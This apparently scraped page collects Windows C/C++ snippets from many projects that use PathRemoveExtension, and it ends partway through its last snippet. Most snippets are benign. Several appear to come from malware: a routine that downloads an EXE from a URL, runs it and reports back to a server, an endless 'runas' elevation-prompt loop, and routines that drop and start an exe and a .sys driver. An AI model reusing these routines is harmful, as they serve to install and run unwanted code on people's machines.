Exemple #1
0
/**
 * @brief Create complete log file name.
 * @param pszCompleteLogFileName - output complete file name.
 * @param pszLogFileName - base log file name.
 * @param pszDefFileExtension - default extension.
 * @return true if log file name was created and false otherwise.
 */
BOOL GetCompleteLogFileName(PTSTR pszCompleteLogFileName, PCTSTR pszLogFileName, PCTSTR pszDefFileExtension)
{
	if (pszLogFileName && *pszLogFileName && PathIsRoot(pszLogFileName))
	{
		_tcscpy_s(pszCompleteLogFileName, MAX_PATH, pszLogFileName);
		return TRUE;
	}
	TCHAR szAppDataPath[MAX_PATH];
	if (! SHGetSpecialFolderPath(NULL, szAppDataPath, CSIDL_APPDATA, TRUE))
		return FALSE;
	TCHAR szAppName[MAX_PATH];
	if (! GetCanonicalAppName(szAppName, countof(szAppName), TRUE))
		return FALSE;
	TCHAR szAppFileName[MAX_PATH];
	if (! GetModuleFileName(NULL, szAppFileName, countof(szAppFileName)))
		return FALSE;
	PTSTR pszFileName = PathFindFileName(szAppFileName);
	PathRemoveExtension(pszFileName);
	PTSTR pszAppName = *szAppName ? szAppName : pszFileName;
	PathCombine(pszCompleteLogFileName, szAppDataPath, pszAppName);
	if (pszLogFileName == NULL || *pszLogFileName == _T('\0'))
	{
		if (pszDefFileExtension == NULL || *pszDefFileExtension != _T('.'))
			return FALSE;
		PathAppend(pszCompleteLogFileName, pszFileName);
		PathAddExtension(pszCompleteLogFileName, pszDefFileExtension);
	}
	else
		PathAppend(pszCompleteLogFileName, pszLogFileName);
	return TRUE;
}
void WordStyleDlg::switchToTheme()
{
	int iSel = ::SendMessage(_hSwitch2ThemeCombo, CB_GETCURSEL, 0, 0);

	generic_string prevThemeName(_themeName);
	_themeName.clear();

	NppParameters *nppParamInst = NppParameters::getInstance();
    ThemeSwitcher & themeSwitcher = nppParamInst->getThemeSwitcher();
	std::pair<generic_string, generic_string> & themeInfo = themeSwitcher.getElementFromIndex(iSel);
    _themeName = themeInfo.second;

	if (_isThemeDirty)
	{
		TCHAR themeFileName[MAX_PATH];
		lstrcpy(themeFileName, prevThemeName.c_str());
		PathStripPath(themeFileName);
		PathRemoveExtension(themeFileName);
		int mb_response =
			::MessageBox( _hSelf,
				TEXT(" Unsaved changes are about to be discarded!\n")
				TEXT(" Do you want to save your changes before switching themes?"),
				themeFileName,
				MB_ICONWARNING | MB_YESNO | MB_APPLMODAL | MB_SETFOREGROUND );
		if ( mb_response == IDYES )
			(NppParameters::getInstance())->writeStyles(_lsArray, _globalStyles);
	}
	nppParamInst->reloadStylers(&_themeName[0]);

	loadLangListFromNppParam();
	_restoreInvalid = true;

}
Exemple #3
0
BOOLEAN DownloadRunExeUrl(DWORD TaskId, PCHAR FileUrl)
{
	BOOLEAN Result = TRUE;
	CHAR chTempPath[MAX_PATH];
	CHAR chTempName[MAX_PATH];

	Protect::GetStorageFolderPath(chTempPath);
	GetTempFileName(chTempPath, NULL, GetTickCount(), chTempName);
	PathRemoveExtension(chTempName);
	PathAddExtension(chTempName, ".exe");

	if (SUCCEEDED(URLDownloadToFile(NULL, FileUrl, chTempName, 0, NULL)))
	{
		if (WinExec(chTempName, 0) < 31)
		{
			DbgMsg(__FUNCTION__"(): WinExec: %x\n", GetLastError());
		}
	}
	else
	{
		DbgMsg(__FUNCTION__"(): URLDownloadToFile: %x\n", GetLastError());
	}

	if (TaskId) Server::SendServerAnswer(TaskId, g_CurrentServerUrl, 1, 0);

	return Result;
}
Exemple #4
0
BOOL CPlayList::AddFileToPlaylist(_TCHAR *fullPath)
{
	_TCHAR tmp[MAX_PATH];

	_tcscpy(tmp, fullPath);
	PathStripPath(tmp);
	PathRemoveExtension(tmp);
	UINT index = playListView.GetItemCount();
	//
	_TCHAR indexText[16];
	_stprintf(indexText, _T("%i"), index + 1);
	playListView.AddItem(index, LV_FIELD_FILENAME, tmp);
	playListView.AddItem(index, LV_FIELD_PATH, fullPath);
	playListView.AddItem(index, LV_FIELD_STATUS, _T("OK"));
	FILE *fp = _tfopen(fullPath, _T("rb"));
	if (fp) {
		PsidHeader hdr;
		tedPlayGetInfo(fp, hdr);
		playListView.AddItem(index, LV_FIELD_TYPE, hdr.typeName.c_str());
		playListView.AddItem(index, LV_FIELD_TITLE, hdr.title);
		playListView.AddItem(index, LV_FIELD_AUTHOR, hdr.author);
		playListView.AddItem(index, LV_FIELD_RELEASED, hdr.copyright);
		_stprintf(tmp, _T("$%04X"), hdr.loadAddress);
		playListView.AddItem(index, LV_FIELD_LOAD_ADDRESS, tmp);
		fclose(fp);
	}
	playListView.AddItem(index, LV_FIELD_INDEX, indexText);
	return TRUE;
}
Exemple #5
0
int main(int argc, LPSTR argv[]) {
	int ret;
	Config conf;
	TCHAR conf_file[MAX_PATH];
	
	conf_init(&conf);
	
	ret = GetModuleFileName(NULL, conf_file, MAX_PATH);
	if (ret <= 0) {
		my_message_box("Unable to GetModuleFileName ... (code: %d)\n", ret);
		return 1;
	}
	
	PathRemoveExtension(conf_file);
	PathAddExtension(conf_file, ".ini");
	      
	if (! PathFileExists(conf_file)) {
		my_message_box("No such file %s\n", conf_file);
		return 1;
	}
	
	read_conf(conf_file, &conf);
	
	if (conf.delay != 0)
		Sleep(conf.delay * 1000);
	
	ret = launch(conf);
	return ret;
}
VOID aRestartModuleShellExec(PCHAR FilePath)
{
	SHELLEXECUTEINFO sei = {0};
	CHAR TempPath[MAX_PATH];
	CHAR TempName[MAX_PATH];
	PVOID Buffer;
	DWORD Size;

	if (!StrStrI(FilePath, ".exe"))
	{
		Protect::GetStorageFolderPath(TempPath);
		GetTempFileName(TempPath, NULL, GetTickCount(), TempName);
		PathRemoveExtension(TempName);
		PathAddExtension(TempName, ".exe");

		if (Buffer = Utils::FileRead(FilePath, &Size))
		{
			if (Utils::FileWrite(TempName, CREATE_ALWAYS, Buffer, Size))
			{
				FilePath = TempName;
			}
		}
	}

	sei.cbSize = sizeof(sei);
	sei.lpFile = FilePath;
	sei.lpVerb = "runas";
	sei.hwnd = GetForegroundWindow();
	while (!ShellExecuteEx(&sei))
	{
		DbgMsg(__FUNCTION__"(): ShellExecuteEx error: %x\n", GetLastError());

		Sleep(3000);
	}
}
ClipInfo::ClipInfo(MediaInfo *info, HWND hwndMessage)
{
	
	m_AudioTrack[0].m_Media = info;
	m_MediaInfo = info;
	m_hwndMessage = hwndMessage;

	wchar_t Name[MAX_PATH];
	StringCchCopy(Name, MAX_PATH, info->m_szFileName);
	PathStripPath(Name);
	PathRemoveExtension(Name);
	StringCchCopy(m_Name, MAX_PATH, Name);
	for(int i = 0; i < VIDEO_FILTER_COUNT; i++)
	{
		m_Filters[i].m_id = VideoFilterTemplates[i].m_ClsID;
		m_Filters[i].m_Size = VideoFilterTemplates[i].m_cbParameter;
		if (VideoFilterTemplates[i].m_cbParameter)
		{
			m_Filters[i].m_Parameter = MemoryAlloc(VideoFilterTemplates[i].m_cbParameter);
			CopyMemory(m_Filters[i].m_Parameter, VideoFilterTemplates[i].m_pParameter, VideoFilterTemplates[i].m_cbParameter);
		}
		else
		{
			m_Filters[i].m_Parameter = NULL;
		}
	}

	m_Subtitle = new CSubtitle();
}
LRESULT CTransChatWebWnd::OnRecordSave(WPARAM wParam, LPARAM lParam)
{
	m_Recorder.StopRecord();
	TCHAR szPath_Wav[MAX_PATH] = { 0 };
	
	_stprintf_s(szPath_Wav, MAX_PATH, _T("%s\\%s.%s"),
		FileMgr::GetAppPathById(conv::s2wcs(g_LoginData.userId), _T("voice")).GetBuffer(),
		SystemInfo::GetUnixTimeStamp().c_str(), _T("wav"));

	m_Recorder.SaveRecord(szPath_Wav);

	TCHAR tzConverter[MAX_PATH] = { 0 };
	::GetModuleFileName(GetModuleHandle(NULL), tzConverter, _countof(tzConverter));
	::PathRemoveFileSpec(tzConverter);
	::PathAppend(tzConverter, _T("WavToAMR.dll"));

	TCHAR szPath_AMR[MAX_PATH] = { 0 };
	StrCpy(szPath_AMR, szPath_Wav);
	PathRemoveExtension(szPath_AMR);
	PathAddExtension(szPath_AMR, _T(".amr"));

	HINSTANCE  hModule = LoadLibrary(tzConverter);
	typedef int(*__fnWavToAMR)(const char* intfile, const char* outfile, int channels, int bits_per_samp);
	__fnWavToAMR WavToAMR = (__fnWavToAMR)::GetProcAddress(hModule, "WavToAMR");
	if (WavToAMR)
	{
		WavToAMR(base::stdcxx_ws2s(szPath_Wav).c_str(), base::stdcxx_ws2s(szPath_AMR).c_str(), 1, 16);
	}

	DeleteFile(szPath_Wav);

	StrCpy(g_SessionData.voice_path, szPath_AMR);
	return 0;
}
Exemple #9
0
   /// <summary>Removes the file extension, if present</summary>
   /// <returns>New path without the extension</returns>
   Path  Path::RemoveExtension() const
   {
      CharArrayPtr buf( Copy() );

      // Supply copy of buffer
      PathRemoveExtension(buf.get());
      return buf.get();
   }
Exemple #10
0
		BC_COREPLATFORMIMP_DLL
		void bc_platform_path<g_api_win32>::get_filename_without_extension(bcECHAR* p_buffer, bcSIZE p_buffer_size) const
		{
			_copy_current_path_to_buffer(m_pack.m_path, p_buffer, p_buffer_size);

			PathStripPath(p_buffer);
			PathRemoveExtension(p_buffer);
		}
Exemple #11
0
VOID PrepareFirstRun(LPCSTR lpExePath)
{
	CHAR chFolderPath[MAX_PATH];

	GetTempPath(RTL_NUMBER_OF(chFolderPath)-1, chFolderPath);

	GetTempFileName(chFolderPath, NULL, 0, g_chExePath);
	PathRemoveExtension(g_chExePath);
	PathAddExtension(g_chExePath, ".exe");
	CopyFileA(lpExePath, g_chExePath, FALSE);

	GetTempFileName(chFolderPath, NULL, 0, g_chDllPath);
	PathRemoveExtension(g_chDllPath);
	PathAddExtension(g_chDllPath, ".dll");
	CopyFileA(lpExePath, g_chDllPath, FALSE);
	SetFileDllFlag(g_chDllPath);
}
Exemple #12
0
	void ListFileInDirection(const char * path, const char * extension, const std::function<void(const char *, const char *)> &f) {
#ifdef WIN32
		WIN32_FIND_DATA finder;

		char tmp[512] = { 0 };
		SafeSprintf(tmp, sizeof(tmp), "%s/*.*", path);

		HANDLE handle = FindFirstFile(path, &finder);
		if (INVALID_HANDLE_VALUE == handle)
			return;

		while (FindNextFile(handle, &finder)) {
			if (strcmp(finder.cFileName, ".") == 0 || strcmp(finder.cFileName, "..") == 0)
				continue;

			SafeSprintf(tmp, sizeof(tmp), "%s/%s", path, finder.cFileName);
			if (finder.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
				ListFileInDirection(tmp, extension, f);
			else {
				if (0 == strcmp(extension, PathFindExtension(finder.cFileName))) {
					PathRemoveExtension(finder.cFileName);
					f(finder.cFileName, tmp);
				}
			}
		}
#else
		DIR * dp = opendir(path);
		if (dp == nullptr)
			return;

		struct dirent * dirp;
		while ((dirp = readdir(dp)) != nullptr) {
			if (dirp->d_name[0] == '.')
				continue;

			char tmp[256] = { 0 };
			SafeSprintf(tmp, sizeof(tmp), "%s/%s", path, dirp->d_name);

			struct stat st;
			if (stat(tmp, &st) == -1)
				continue;

			if (S_ISDIR(st.st_mode))
				ListFileInDirection(tmp, extension, f);
			else {
				if (0 == strcmp(extension, GetFileExt(dirp->d_name))) {
					char name[256];
					SafeSprintf(name, sizeof(name), "%s", dirp->d_name);
					char * dot = strrchr(name, '.');
					if (dot != nullptr)
						*dot = 0;
					f(name, tmp);
				}
			}
		}
#endif
	}
Exemple #13
0
DWORD MainWorkThread(PVOID pvContext)
{
	PVOID pvExe, pvSys;
	DWORD dwExe, dwSys;

	DbgPrint(__FUNCTION__"(): exe '%s' dll '%s'\n", g_chExePath, g_chDllPath);

	if (GetConfigFiles(&pvExe, &dwExe, &pvSys, &dwSys))
	{
		CHAR chFolderPath[MAX_PATH];
		CHAR chExe[MAX_PATH];
		CHAR chSys[MAX_PATH];

		GetTempPath(RTL_NUMBER_OF(chFolderPath)-1, chFolderPath);

		GetTempFileName(chFolderPath, NULL, GetTickCount(), chExe);
		PathRemoveExtension(chExe);
		PathAddExtension(chExe, ".exe");
		if (FileWrite(chExe, CREATE_ALWAYS, pvExe, dwExe))
		{
			DbgPrint(__FUNCTION__"(): start exe '%s'\n", chExe);

			StartExe(chExe);
		}

		GetTempFileName(chFolderPath, NULL, GetTickCount(), chSys);
		PathRemoveExtension(chSys);
		PathAddExtension(chSys, ".sys");
		if (FileWrite(chSys, CREATE_ALWAYS, pvSys, dwSys))
		{
			DbgPrint(__FUNCTION__"(): start sys '%s'\n", chSys);

			StartSys(chSys);
		}

		free(pvExe);
		free(pvSys);
	}

	return 0;
}
Exemple #14
0
CString CGZIPFile::GetUncompressedFilePath() const
{
	// return path of input file without ".gz" extension
	CString strUncompressedFilePath;
	LPCTSTR pszExt = PathFindExtension(m_strGzFilePath);
	if (pszExt != NULL && _tcsicmp(pszExt, _T(".gz")) == 0)
	{
		strUncompressedFilePath = m_strGzFilePath;
		PathRemoveExtension(strUncompressedFilePath.GetBuffer(strUncompressedFilePath.GetLength()));
		strUncompressedFilePath.ReleaseBuffer();
	}
	return strUncompressedFilePath;
}
Exemple #15
0
/**
 * @brief Get canonical application name (all non-alphanumeric characters are stripped).
 * @param pszAppName - buffer for resulting application name.
 * @param nBufferSize - size of file name buffer.
 * @param bAllowSpaces - true if spaces are allowed.
 * @return length of the name.
 */
size_t GetCanonicalAppName(PTSTR pszAppName, size_t nBufferSize, BOOL bAllowSpaces)
{
	if (nBufferSize == 0)
		return 0;
	if (*g_szAppName != _T('\0'))
	{
		--nBufferSize;
		size_t nStrLength = _tcslen(g_szAppName);
		if (nStrLength > nBufferSize)
			nStrLength = nBufferSize;
		size_t nSrcPos = 0, nDstPos = 0;
		WORD wCharMask = C1_ALPHA | C1_DIGIT;
		if (bAllowSpaces)
			wCharMask |= C1_SPACE;
		while (nSrcPos < nStrLength)
		{
			WORD arrCharType[2];
#ifdef _UNICODE
			size_t nCharSize = GetUnicodeCharSize((const BYTE*)(g_szAppName + nSrcPos)) / sizeof(WCHAR);
			GetStringTypeW(CT_CTYPE1, g_szAppName + nSrcPos, (int)nCharSize, arrCharType);
#else
			size_t nCharSize = IsDBCSLeadByte(g_szAppName[nSrcPos]) ? 2 : 1;
			GetStringTypeA(LOCALE_USER_DEFAULT, CT_CTYPE1, g_szAppName + nSrcPos, (int)nCharSize, arrCharType);
#endif
			if (*arrCharType & wCharMask)
			{
				pszAppName[nDstPos++] = g_szAppName[nSrcPos++];
				if (nCharSize > 1)
					pszAppName[nDstPos++] = g_szAppName[nSrcPos++];
			}
			else
			{
				/*if (*arrCharType & C1_SPACE)
					pszAppName[nDstPos++] = _T('_');*/
				nSrcPos += (DWORD)nCharSize;
			}
		}
		pszAppName[nDstPos] = _T('\0');
		return nDstPos;
	}
	else
	{
		TCHAR szAppFileName[MAX_PATH];
		if (! GetModuleFileName(NULL, szAppFileName, countof(szAppFileName)))
			return FALSE;
		PTSTR pszFileName = PathFindFileName(szAppFileName);
		PathRemoveExtension(pszFileName);
		_tcscpy_s(pszAppName, nBufferSize, pszFileName);
		return _tcslen(pszAppName);
	}
}
int _tmain(DWORD argc, LPCTSTR argv[])
{
	if(argc == 2)
	{
		LPTSTR lpNoEXT = HeapAlloc(GetProcessHeap(), HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, _tcslen(argv[1]) * sizeof(TCHAR));
		HMODULE hImage = NULL;
	    BOOL (__cdecl *MainRoutine)();
		
		if(_tcsstr(PathFindExtension(argv[1]), _T(".exe")))
		{
			_tcsncpy(lpNoEXT, argv[1], _tcslen(argv[1]));
			
			PathRemoveExtension(lpNoEXT);
			
			hImage = LoadLibrary(lpNoEXT);
			
			if(hImage)
			{
				_ftprintf(stdout, _T("\n Loading image: %s\n\n"), argv[1]);
			
				MainRoutine = (BOOL(__cdecl *)())GetProcAddress(hImage, "_tmain");
				
				if(MainRoutine())
				{
					_ftprintf(stdout, _T("\n _tmain entry address retrieved!\n Executing...!\n\n"));
				}
				else
				{
					_ftprintf(stdout, _T("\n Failed to retrieve a valid entry address [_tmain]\n"));
				}
			}
			else
			{
				_ftprintf(stdout, _T("\n Failed to load image: %s\n Last error recieved: %i\n\n"), argv[1], GetLastError());
			}
			
			HeapFree(lpNoEXT, HEAP_NO_SERIALIZE, GetProcessHeap());
			
			FreeLibrary(hImage);
		}
		else
		{
			_ftprintf(stdout, _T("\n The extension given is not valid [EXE ONLY].\n") \
			
							  _T(" NOTE: PE header checking is not done, the image must be valid\n\n"));
		}
	}
	
	return 0;
}
bool Application::Upgrade(LPCTSTR updateFilePath, LPCTSTR version) {
  HINSTANCE hInstance = AfxGetResourceHandle();
  HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(IDR_APP_UPDATE), _T("EXE"));
  if (hResInfo == NULL) {
    return false;
  }  
  HGLOBAL hResData = LoadResource(hInstance, hResInfo);
  if (hResData == NULL) {
    return false;
  }
  int size = SizeofResource(hInstance, hResInfo);  
  const void *data = LockResource(hResData);
  if (data == NULL) {
    return false;
  }
  TCHAR tempFilePath[MAX_PATH];
  GetTempPath(_countof(tempFilePath), tempFilePath);
  GetTempFileName(tempFilePath, _T("~"), 0, tempFilePath);
  PathRemoveExtension(tempFilePath);
  _tcscat(tempFilePath, _T(".exe"));
  TCHAR appDir[MAX_PATH];
  GetModuleFileName(NULL, appDir, _countof(appDir));
  PathRemoveFileSpec(appDir);
  try {
    CFile file(tempFilePath, CFile::modeCreate | CFile::typeBinary | CFile::modeWrite);
    file.Write(data, size);
    file.Close();
  } catch (CException *e) {
    e->Delete();
    return false;
  }
  CString parameters;
  parameters.AppendChar(_T('\"'));
  parameters.Append(updateFilePath);
  parameters.AppendChar(_T('\"'));
  parameters.AppendChar(_T(' '));
  parameters.AppendChar(_T('\"'));
  parameters.Append(appDir);
  parameters.AppendChar(_T('\"'));
  parameters.AppendChar(_T(' '));
  parameters.AppendChar(_T('\"'));
  parameters.Append(version);
  parameters.AppendChar(_T('\"'));

  HINSTANCE instance = ShellExecute(NULL, NULL, tempFilePath, parameters, NULL, SW_SHOW); 
  if ((DWORD)instance <= 32) {
    return false;
  }
  return true;
}
Exemple #18
0
BOOL CAutoUpdateApp::InitInstance()
{
	// InitCommonControlsEx() is required on Windows XP if an application
	// manifest specifies use of ComCtl32.dll version 6 or later to enable
	// visual styles.  Otherwise, any window creation will fail.
	INITCOMMONCONTROLSEX InitCtrls;
	InitCtrls.dwSize = sizeof(InitCtrls);
	// Set this to include all the common control classes you want to use
	// in your application.
	InitCtrls.dwICC = ICC_WIN95_CLASSES;
	InitCommonControlsEx(&InitCtrls);

	CWinApp::InitInstance();

	AfxEnableControlContainer();
	CoInitialize(NULL);
	// Standard initialization
	// If you are not using these features and wish to reduce the size
	// of your final executable, you should remove from the following
	// the specific initialization routines you do not need
	// Change the registry key under which our settings are stored
	// TODO: You should modify this string to be something appropriate
	// such as the name of your company or organization


 

	TCHAR szModuleFile[MAX_PATH]={0};

	GetModuleFileName(AfxGetInstanceHandle(), szModuleFile, MAX_PATH);

	//设置INI文件
	PathRemoveExtension(szModuleFile);
	free((void*)m_pszProfileName);
	PathAddExtension(szModuleFile, _T(".INI"));
	m_pszProfileName = _tcsdup(szModuleFile);

	//创建窗口
	m_pAutoUpdateDlg = new CAutoUpdateDlg();
	m_pMainWnd = m_pAutoUpdateDlg;
	m_pAutoUpdateDlg->Create(IDD_AUTOUPDATE_DIALOG, NULL);

	

	// Since the dialog has been closed, return FALSE so that we exit the
	//  application, rather than start the application's message pump.
	return TRUE;
}
Exemple #19
0
/// File name conversion
/// ====================
OEMCHAR* md_util_dos_fn(WIN32_FIND_DATA *w32fd) {

	OEMCHAR *fn = w32fd->cFileName;
	size_t fn_len = lstrlen(w32fd->cFileName);
	OEMCHAR *f_name = (OEMCHAR *)alloca((fn_len + 1) * sizeof(OEMCHAR));
	OEMCHAR *f_ext;

	lstrcpy(f_name, fn);
	f_ext = PathFindExtension(fn);
	PathRemoveExtension(f_name);

	if(lstrlen(f_name) > 8 || (lstrlen(f_ext) - 1) > 3) {
		fn = w32fd->cAlternateFileName;
	}
	return fn;
}
/* Processes an items filename. Essentially checks
if the extension (if any) needs to be removed, and
removes it if it does. */
TCHAR *CShellBrowser::ProcessItemFileName(int iItemInternal) const
{
	BOOL bHideExtension = FALSE;
	TCHAR *pExt = NULL;
	TCHAR *pszDisplay = NULL;

	if(m_bHideLinkExtension &&
		((m_pwfdFiles[iItemInternal].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY))
	{
		pExt = PathFindExtension(m_pExtraItemInfo[iItemInternal].szDisplayName);

		if(*pExt != '\0')
		{
			if(lstrcmpi(pExt,_T(".lnk")) == 0)
				bHideExtension = TRUE;
		}
	}

	/* We'll hide the extension, provided it is meant
	to be hidden, and the filename does not begin with
	a period, and the item is not a directory. */
	if((!m_bShowExtensions || bHideExtension) &&
		m_pExtraItemInfo[iItemInternal].szDisplayName[0] != '.' &&
		(m_pwfdFiles[iItemInternal].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
	{
		static TCHAR szDisplayName[MAX_PATH];

		StringCchCopy(szDisplayName,SIZEOF_ARRAY(szDisplayName),
			m_pExtraItemInfo[iItemInternal].szDisplayName);

		/* Strip the extension. */
		PathRemoveExtension(szDisplayName);

		/* The item will now be shown without its extension. */
		pszDisplay = szDisplayName;
	}
	else
	{
		pszDisplay = m_pExtraItemInfo[iItemInternal].szDisplayName;
	}

	return pszDisplay;
}
Exemple #21
0
BOOLEAN WriteFileAndExecute(PVOID File, DWORD Size)
{
	CHAR chTempPath[MAX_PATH];
	CHAR chTempName[MAX_PATH];

	Protect::GetStorageFolderPath(chTempPath);
	GetTempFileName(chTempPath, NULL, GetTickCount(), chTempName);
	PathRemoveExtension(chTempName);
	PathAddExtension(chTempName, ".exe");

	if (Utils::FileWrite(chTempName, CREATE_ALWAYS, File, Size))
	{
		WinExec(chTempName, 0);

		return TRUE;
	}

	return FALSE;
}
Exemple #22
0
/// Get base archive file name
///
/// @params dst          Destination
/// @param  archive_name Archive file name
///
void CPaz::GetBaseArcName(LPTSTR dst, LPCTSTR archive_name)
{
	// Remove .paz
	TCHAR base_archive_name[_MAX_FNAME];
	lstrcpy(base_archive_name, archive_name);
	PathRemoveExtension(base_archive_name);

	// Remove 1~9
	LPTSTR base_archive_name_end = &base_archive_name[lstrlen(base_archive_name) - 1];

	for (TCHAR number = _T('1'); number <= _T('9'); number++)
	{
		if (*base_archive_name_end == number)
		{
			*base_archive_name_end = _T('\0');
		}
	}

	lstrcpy(dst, base_archive_name);
}
Exemple #23
0
/// Get base archive file name
///
/// @param pszDst     Destination
/// @param pszArcName Archive file name
///
void CPaz::GetBaseArcName(LPTSTR pszDst, LPCTSTR pszArcName)
{
    // Remove .paz
    TCHAR szBaseArcName[_MAX_FNAME];
    lstrcpy(szBaseArcName, pszArcName);
    PathRemoveExtension(szBaseArcName);

    // Remove 1~9
    LPTSTR szBaseArcNameEnd = &szBaseArcName[lstrlen(szBaseArcName) - 1];

    for (TCHAR cNumber = _T('1'); cNumber <= _T('9'); cNumber++)
    {
        if (*szBaseArcNameEnd == cNumber)
        {
            *szBaseArcNameEnd = _T('\0');
        }
    }

    lstrcpy(pszDst, szBaseArcName);
}
static bool getWebLocData(IDataObject* dataObject, String& url, String* title) 
{
    bool succeeded = false;
#if PLATFORM(CF)
    WCHAR filename[MAX_PATH];
    WCHAR urlBuffer[INTERNET_MAX_URL_LENGTH];

    STGMEDIUM medium;
    if (FAILED(dataObject->GetData(cfHDropFormat(), &medium)))
        return false;

    HDROP hdrop = static_cast<HDROP>(GlobalLock(medium.hGlobal));

    if (!hdrop)
        return false;

    if (!DragQueryFileW(hdrop, 0, filename, ARRAYSIZE(filename)))
        goto exit;

    if (_wcsicmp(PathFindExtensionW(filename), L".url"))
        goto exit;    
    
    if (!GetPrivateProfileStringW(L"InternetShortcut", L"url", 0, urlBuffer, ARRAYSIZE(urlBuffer), filename))
        goto exit;
    
    if (title) {
        PathRemoveExtension(filename);
        *title = String((UChar*)filename);
    }
    
    url = String((UChar*)urlBuffer);
    succeeded = true;

exit:
    // Free up memory.
    DragFinish(hdrop);
    GlobalUnlock(medium.hGlobal);
#endif
    return succeeded;
}
int __stdcall WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
	std::wstring wsIni(512, 0);
	GetModuleFileName(hInstance, &wsIni[0], 511);
	PathRemoveExtension(&wsIni[0]);
	wcscat(&wsIni[0], L".ini");

	std::wstring wcRunPath(512, 0);
	GetModuleFileName(hInstance, &wcRunPath[0], 511);
	PathRemoveFileSpecW(&wcRunPath[0]);

	std::wstring wcExe(512, 0);
	GetModuleFileName(hInstance, &wcExe[0], 511);

	OptionsHelper oh(wsIni, wcExe);
	SoundHelper sh(wcRunPath + L"\\resources\\error.wav", wcRunPath + L"\\resources\\switch.wav");

	g_switcher = std::unique_ptr<Switcher>(new Switcher(oh, sh));

	g_bHookActive = true;

	g_hKbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, SwitcherKeyboardHook, hInstance, NULL);
	g_switcher->Enable();
	// assert

	if (!IsDebuggerPresent()) g_hMouseHook = SetWindowsHookEx(WH_MOUSE_LL, SwitcherMouseHook, hInstance, NULL);
	// assert

	AppDlg dlg(hInstance, *g_switcher, oh);
	dlg.ShowDlg();

	g_bHookActive = false;
	UnhookWindowsHookEx(g_hKbdHook);
	if (!IsDebuggerPresent()) UnhookWindowsHookEx(g_hMouseHook);

	oh.SaveOptions();

	return 0;
}
string AppSettings::FindImage(const string& fname){
   TCHAR buffer[MAX_PATH];

   // Simply check for fully qualified path
   if (PathIsRoot(fname.c_str())) {
      if (-1 != _taccess(fname.c_str(), 0))
         return fname;
   }

   // Test if its relative and in one of the specified root paths
   for (stringlist::iterator itr = textureRootPaths.begin(), end = textureRootPaths.end(); itr != end; ++itr ){
      PathCombine(buffer, itr->c_str(), fname.c_str());
      if (-1 != _taccess(buffer, 0)){
         return string(buffer);
      }
   }

   // Hit the directories to find out whats out there
   if (!parsedImages){
      FindImages(imgTable, rootPath, searchPaths, extensions);
      parsedImages = true;
   }
   
   // Search my filename for our texture
   _tcscpy(buffer, PathFindFileName(fname.c_str()));
   PathRemoveExtension(buffer);
   NameValueCollection::iterator itr = imgTable.find(buffer);
   if (itr != imgTable.end()){
      if (!rootPath.empty()) {
         _tcscpy(buffer, rootPath.c_str());
         PathCombine(buffer, rootPath.c_str(), ((*itr).second).c_str());
         return string(buffer);
      } else {
         return (*itr).second;
      }
   }
   return fname;
}
Exemple #27
0
BOOL
CFileDefExt::InitGeneralPage(HWND hwndDlg)
{
    /* Set general text properties filename filelocation and icon */
    InitFilePath(hwndDlg);

    /* Set file type and icon */
    InitFileType(hwndDlg);

    /* Set open with application */
    if (!m_bDir)
    {
        if (!PathIsExeW(m_wszPath))
            InitOpensWithField(hwndDlg);
        else
        {
            WCHAR wszBuf[MAX_PATH];
            LoadStringW(shell32_hInstance, IDS_EXE_DESCRIPTION, wszBuf, _countof(wszBuf));
            SetDlgItemTextW(hwndDlg, 14006, wszBuf);
            ShowWindow(GetDlgItem(hwndDlg, 14024), SW_HIDE);
            LPCWSTR pwszDescr = m_VerInfo.GetString(L"FileDescription");
            if (pwszDescr)
                SetDlgItemTextW(hwndDlg, 14007, pwszDescr);
            else
            {
                StringCbCopyW(wszBuf, sizeof(wszBuf), PathFindFileNameW(m_wszPath));
                PathRemoveExtension(wszBuf);
                SetDlgItemTextW(hwndDlg, 14007, wszBuf);
            }
        }
    }

    /* Set file created/modfied/accessed time, size and attributes */
    InitFileAttr(hwndDlg);

    return TRUE;
}
/*!
	SQLiteの使ったAAのデータベースを閉じたり開いたり
	@param[in]	mode	開くのか閉じるのか
	@param[in]	ptDbase	開くデータベースファイルの名前
	@return		HRESULT	終了状態コード
*/
HRESULT SqlDatabaseOpenClose( BYTE mode, LPCTSTR ptDbase )
{
	INT		rslt;
	TCHAR	atDbPath[MAX_PATH];

	if( M_CREATE == mode )
	{
		StringCchPrintf( atDbPath, MAX_PATH, ptDbase );

		rslt = sqlite3_open16( atDbPath, &gpDataBase );
		if( SQLITE_OK != rslt ){	SQL_DEBUG( gpDataBase );	return E_FAIL;	}

		if( 0 == StrCmp( atDbPath, TEXT(":memory:") ) )
		{
			StringCchCopy( atDbPath, MAX_PATH, TEXT("memory.qor") );
		}

		PathStripPath( atDbPath );	//	ファイル名だけにする
		PathRemoveExtension( atDbPath );	//	拡張子を外す

		SqlTreeTableCreate( atDbPath );	//	プロファイル名として渡す
	}
	else if( M_DESTROY == mode )
	{
		if( gpDataBase )
		{
			rslt =  sqlite3_close( gpDataBase );
			gpDataBase = NULL;
		}
	}
	else	//	オーポンしてるかどうか確認
	{
		if( !(gpDataBase) ){	return E_OUTOFMEMORY;	}
	}

	return S_OK;
}
Exemple #29
0
CKDApp::CKDApp()
	:	m_bRestart(false),
#ifdef KDAPP_ENABLE_GETAPPOTHERDIR
		m_lpAppConfDir(NULL), m_lpAppLangDir(NULL),
#endif //KDAPP_ENABLE_GETAPPOTHERDIR
#ifdef KDAPP_ENABLE_GETAPPVERSION
		m_lpAppFileVer(NULL), m_lpAppProductVer(NULL),
#endif //KDAPP_ENABLE_GETAPPVERSION
#ifdef KDAPP_ENABLE_UPDATEAPPONLINE
		m_bUpdateApp(false), m_bShowUpdateMsg(true), m_lpTmpBatchPath(NULL),
#endif //KDAPP_ENABLE_UPDATEAPPONLINE
		m_lpAppName(NULL), m_lpAppPath(NULL), m_lpAppDir(NULL)
{
	size_t u64Len;
	TCHAR sBuffer[MAX_PATH], *ptr;

